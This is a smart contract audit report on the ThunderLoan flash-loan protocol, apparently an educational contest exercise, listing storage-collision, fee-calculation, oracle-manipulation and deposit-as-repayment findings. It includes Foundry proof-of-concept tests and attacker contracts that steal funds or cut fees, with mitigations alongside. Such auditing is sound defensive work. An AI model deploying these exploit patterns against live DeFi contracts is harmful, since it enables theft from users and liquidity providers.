Thunder Loan Report

Performed by: *0xShiki*

Table of Contents

- [G-1] In `AssetToken::updateExchangeRate` function `s_exchangeRate` is read from storage too many times
  * Description
  * Recommended Mitigation
- [G-2] `ThunderLoan::s_feePrecision` and `ThunderLoan::s_flashLoanFee` should be constant
- [G-3] `ThunderLoan::getAssetFromToken` and `ThunderLoan::isCurrentlyFlashLoaning` can be marked as `external`

Protocol Summary

The `ThunderLoan` protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where I try to find as many vulnerabilities as possible. I can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Scope Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
src/interfaces/IFlashLoanReceiver.sol
src/interfaces/IPoolFactory.sol
src/interfaces/ITSwapPool.sol
src/interfaces/IThunderLoan.sol
src/protocol/AssetToken.sol
src/protocol/OracleUpgradeable.sol
src/protocol/ThunderLoan.sol
src/upgradedProtocol/ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Gas	3
Info	3
Total	14

Findings

[H-1] Storage collision during upgrade

Relevant GitHub Links

```
- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L96C1-L100C1
- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/upgradedProtocol/ThunderLoanUpgraded.sol#L95C5-L101C1
```

Description:

At storage slot 1, 2 and 3 of `ThunderLoan.sol` contract are `s_feePrecision`, `s_flashLoanFee` and `s_currentlyFlashLoaning` respectively. In the `ThunderLoanUpgraded` contract at storage slot 1 and 2 are `s_flashLoanFee` and `s_currentlyFlashLoaning`. This is because in the upgradeable contract `s_feePrecision` is changed to a constant variable. In that way 2 things will happen: - fee for flashloan will be miscalculated - users will pay the same amount of what they borrowed in fees

Impact

- fee for flashloan will be miscalculated
- users will pay the same amount of what they borrowed in fees

Proof of Concept

State variables of `ThunderLoan.sol` contract:

```
    mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    mapping(IERC20 token => bool currentlyFlashLoaning) private
        s_currentlyFlashLoaning;
```

State variables of `ThunderLoanUpgraded.sol` contract:

```
    mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
    mapping(IERC20 token => bool currentlyFlashLoaning) private
        s_currentlyFlashLoaning;
```

As we can see the storage layout of the `ThunderLoan.sol` contract is different from the `ThunderLoanUpgraded.sol` contract.

Tools Used

Manual Review

Recommended Mitigation

Leave a blank storage slot if you are going to replace a storage variable to be a constant:

```
    mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
+   uint256 private s_blank;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
    mapping(IERC20 token => bool currentlyFlashLoaning) private
        s_currentlyFlashLoaning;
```

[H-2] Incorrect update of `exchangeRate` in `THunderLoan::deposit` function

Relevant GitHub Links

```
- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L153-L154
```

Description

On every deposit the exchange rate for asset token is updated, which can lead to users withdrawing more funds immediately. Underlying asset token can be completely drained.

Impact

Since the exchange rate is updated on deposit: - users can withdraw their funds immedialtely after depositing, in order to withdraw more funds than they deposited. - if a liquidity provider deposits funds and a user takes out a flash loan, it will be impossible for the liquidity provider to withdraw their funds.

Proof of Concept

Code

Place the following in `test/ThunderLoan.t.sol`:

```
    function testRedeemFailsAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Tools Used

Manual Review

Recommended Mitigation

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-3] Miscalculation of fees when dealing with non-standard ERC20 tokens with less than 18 decimals

Relevant GitHub Links

```
- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
  c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
  L248-L250

- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
  c83865eb0d6149e4d70f37a35d9e72ac7404/src/upgradedProtocol/
  ThunderLoanUpgraded.sol#L246-L248
```

Description

The function `Thunderloan::getCalculatedFee` calculates the fee for users who take out flashloans. However, fees will be lower than expected if we deal with a token with less than 18 decimals (for example USDC, which has 6 decimals).

Impact

- Users will pay less fees than expected when dealing with tokens with less than 18 decimals.

Proof of Concept

Scenario: 1. User 1 takes out a flash loan of 1 ETH which is 1e18 wei. 2. User 2 takes out a flash loan of 2000 USDC which is 2000e6 (2e9) wei.

- For User 1 `valueOfBorrowedToken` = (1e18 * 1e18) / 1e18 = 1e18 wei
- For User 2 `valueOfBorrowedToken` = (2e9 * 1e18) / 1e18 = 2e9 wei
- `fee` for User 1 = (1e18 * 3e15) / 1e18 = 3e15 wei (or 0,003 ETH)
- `fee` for User 2 = (2e9 * 3e15) / 1e18 = 6e6 wei (or 0,000000000006)

The function used for calculating the fee:

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
     uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
        token))) / s_feePrecision;
     fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

Tools Used

Manual Review

Recommended Mitigation

Consider adding logic to you contract for dealing with non-standard ERC20 tokens with less than 18 decimals.

[H-4] Flash loan can be returned using the `deposit` function, leading to stolen funds

Relevant GitHub Links

```
- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L147-L156

- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L180-L217
```

Description

The function `ThunderLoan::deposit` allows users to deposit funds into the protocol. If a user takes out a flash loan using `ThunderLoan::flashloan` function, they can return the flash loan using the deposit function. In that way they can mint to themselves `AssetToken` tokens without providing any collateral, and later redeem them, which will lead to stolen funds.

Impact

- Users can steal funds from the protocol by returning flash loans using the deposit function.

Proof of Concept

- Attacker contract:

```
    contract DepositOverRepay is IFlashLoanReceiver {
        ThunderLoan thunderLoan;
        AssetToken assetToken;
        IERC20 s_token;

        constructor(address _thunderLoan) {
            thunderLoan = ThunderLoan(_thunderLoan);
        }

        function executeOperation(
            address token,
            uint256 amount,
            uint256 fee,
            address, /* initiator */
            bytes calldata /* params */
        )
            external
            returns (bool)
        {
            s_token = IERC20(token);
            assetToken = thunderLoan.getAssetFromToken(IERC20(token));
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.deposit(IERC20(token), amount + fee);

            return true;
        }

        function redeemMoney() public {
            uint256 amount = assetToken.balanceOf(address(this));
            thunderLoan.redeem(s_token, amount);
        }
```

```
32      }
```

- Test function:

```
1       function testUseDepositInsteadOfRepayToStealFunds() public
            setAllowedToken hasDeposits {
2           vm.startPrank(user);
3           uint256 amountToBorrow = 50e18;
4           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
5
6           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
                ));
7           tokenA.mint(address(dor), fee);
8
9           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
                ;
10          dor.redeemMoney();
11          vm.stopPrank();
12
13          assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
14      }
```

Tools Used

Manual Review

Recommended Mitigation

Add a check in deposit() to make it impossible to use it in the same block of the flash loan.

[M-1] Owner can lock liquidity providers from redeeming their funds from the contract

Relevant GitHub Links

```
1   - https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
      c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
      L227-L244
```

Description

The function `ThunderLoan::setAllowedToken` is used for allowing and removing tokens from the protocol and it is called only by the owner. If the owner calls the function for removing a token

and a user has deposited of that token in the protocol, the function will remove the token from the `s_tokenToAssetToken` mapping and user won't be able to redeem their funds.

Impact

User's funds can get locked in the protocol.

Proof of Concept

Add the following test in `test/ThunderLoan.t.sol`:

```
    function testCannotRedeemNonAllowedTokenAfterDepositingToken()
        public {
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
            true);

        tokenA.mint(liquidityProvider, AMOUNT);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);

        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
            ThunderLoan__NotAllowedToken.selector, address(tokenA)));
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, AMOUNT_LESS);
        vm.stopPrank();
    }
```

Tools Used

Manual Review

Recommended Mitigation

Consider adding a check if a user holds that assetToken in the protocol, therefore preventing from removing it.

[M-2] Flashloan fee can be minimized via price oracle manipulation

Relevant GitHub Links

```
- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210

- https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192
```

Description:

`ThunderLoan` uses `TSwap` for determining the price of the token by how many reserves are on either side of the pool. If an attacker can manipulate the price of the token by buying and selling a large amount of the token, they can minimize the flashloan fee.

Impact:

- Users can minimize the flashloan fee by manipulating the price of the token.

Proof of Concept:

1. User takes out a flash loan for 1000 TokenA.
2. During the flashloan they do the following:
    1. User sells 1000 TokenA, tanking the price in the pool.
    2. Instead of repaying right away they take another flashloan for 1000 TokenA.
    3. Due to the fact that `ThunderLoan` calculates the price based on `TSwapPool` the second flashloan will be cheaper.
    4. The user repays the first flashloan, and then the second with lowered fee.

Paste the following snippet of code in `test/ThunderLoan.t.sol`:

Attacker

```
    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
        // swap tokenA for weth
        // take out another flash loan

        BuffMockTSwap tswap;
```

```
6           ThunderLoan thunderLoan;
7           address repayAddress;
8
9           bool attacked;
10          uint256 public fee1;
11          uint256 public fee2;
12
13          constructor(address _tswapPool, address _thunderLoan, address
                _repayAddress) {
14              tswap = BuffMockTSwap(_tswapPool);
15              thunderLoan = ThunderLoan(_thunderLoan);
16              repayAddress = _repayAddress;
17          }
18
19          function executeOperation(
20              address token,
21              uint256 amount,
22              uint256 fee,
23              address, /* initiator */
24              bytes calldata /* params */
25          )
26              external
27              returns (bool)
28          {
29              if (!attacked) {
30                  fee1 = fee;
31                  attacked = true;
32                  // swap tokenA for weth
33                  // take out another flash loan
34                  uint256 wethBought = tswap.getOutputAmountBasedOnInput
                        (50e18, 100e18, 100e18);
35                  IERC20(token).approve(address(tswap), 50e18);
36                  tswap.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                        wethBought, block.timestamp);
37
38                  thunderLoan.flashloan(address(this), IERC20(token),
                        amount, "");
39
40                  // repay
41                  IERC20(token).transfer(repayAddress, amount + fee);
42              } else {
43                  // calculate fee
44                  fee2 = fee;
45                  // repay
46                  IERC20(token).transfer(repayAddress, amount + fee);
47              }
48
49              return true;
50          }
51      }
```

Test

```
    function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(tswapPool, 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(tswapPool, 100e18);
        // ration is 1:1
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
            timestamp);
        vm.stopPrank();

        // allow tokenA in thunderloan
        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.stopPrank();

        // fund thunderloan
        // - have 100 WETH and 100 tokenA in TSwap Pool
        // - have 1000 tokenA in ThunderLoan, which we can borrow
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);

        // take out 2 flash loans
        //  - nukes the price of weth/tokenA on TSwap
        //  - show that reduces fees we pay on ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console2.log("NormalFee >>> ", normalFeeCost); //
            0.296147410319118389 (~0.3)

        uint256 amountToBorrow = 50e18; // we gonna do it twice

        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (
            address(tswapPool), address(thunderLoan), address(
                thunderLoan.getAssetFromToken(tokenA))
        );
```

```
44
45          vm.startPrank(user);
46          tokenA.mint(address(flr), 100e18);
47          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
48
49          vm.stopPrank();
50
51          uint256 attackFee = flr.fee1() + flr.fee2();
52
53          console2.log("Attack fee is >>> ", attackFee);
54          assert(attackFee < normalFeeCost);
55      }
```

Tools Used

Manual Review

Recommended Mitigation

Consider using a Chainlink Oracle for determining the price of the token.

[M-3] ThunderLoan not compatible with Fee on Transfer tokens, leading to drained and locked user funds

Relevant GitHub Links

```
1 - https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/main/src/protocol
      /ThunderLoan.sol#147-156
```

Description

When providing liquidity using `ThunderLoan::deposit` function, there are tokens like `STA` or `PAXG`, which have a fee on transfering. In that way, when a user deposits these tokens into the protocol, the protocol will not receive the full amount of the token, and could lead to potential loss of funds.

Impact

- Users can lose funds when depositing tokens with a fee on transfer.

Proof of Concept

1. Alice deposits 100 `STA` tokens in the protocol, receives 100 `AssetToken` tokens.
2. Since `STA` has a 1% fee on transfer, the protocol will receive 99 `STA` tokens.
3. Bob deposits 200 `STA` tokens in the protocol, receives 200 `AssetToken` tokens.
4. Since `STA` has a 1% fee on transfer, the protocol will receive 198 `STA` tokens.
5. If Alice tries to withdraw her funds, Bob can frontrun her by redeeming all of his tokens, and in that way Alice won't be able to claim her underlying amount.

Tools Used

Manual Review

Recommended Mitigation

Implement logic to handle fee on transfer tokens, for example calculate the difference between the amount before depositing and after depositing, and then mint the user the correct amount of `AssetToken` tokens.

[L-1] Flashloan fee can be 0 for small amounts

Relevant GitHub Links

```
1 - https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539
    c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#
    L246
```

Description

If amount of flashloan is 333 or less, the fee calculation can result to 0

Impact

- Users can take out flashloans for small amounts without paying any fees

Proof of Concept

```
    function testZeroFlashloanFee() public {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            333
        );

        assertEq(calculatedFee, 0);
    }
```

Tools Used

Manual Review

Recommended Mitigation

A minimum fee check can be implemented in the function.

[I-1] Interface `IThunderLoan` not implemented in `ThunderLoan`

[I-2] In `IThunderLoan::repay` function the `token` parameter should be of type `IERC20` not `address`

[I-3] No address(0) check in `OracleUpgradeable::__Oracle_init` function

[G-1] In `AssetToken::updateExchangeRate` function `s_exchangeRate` is read from storage too many times

Description

```
    function updateExchangeRate(uint256 fee) external onlyThunderLoan {
        uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee
            ) / totalSupply();

        if (newExchangeRate <= s_exchangeRate) {
            revert AssetToken__ExhangeRateCanOnlyIncrease(
                s_exchangeRate, newExchangeRate);
        }
        s_exchangeRate = newExchangeRate;
```

```
8           emit ExchangeRateUpdated(s_exchangeRate);
9       }
```

Recommended Mitigation

Consider storing `s_exchangeRate` in a local variable before using it in the calculation.

[G-2] `ThunderLoan::s_feePrecision` and `ThunderLoan::s_flashLoanFee` should be constant

[G-3] `ThunderLoan::getAssetFromToken` and `ThunderLoan::isCurrentlyFlashLoaning` can be marked as `external`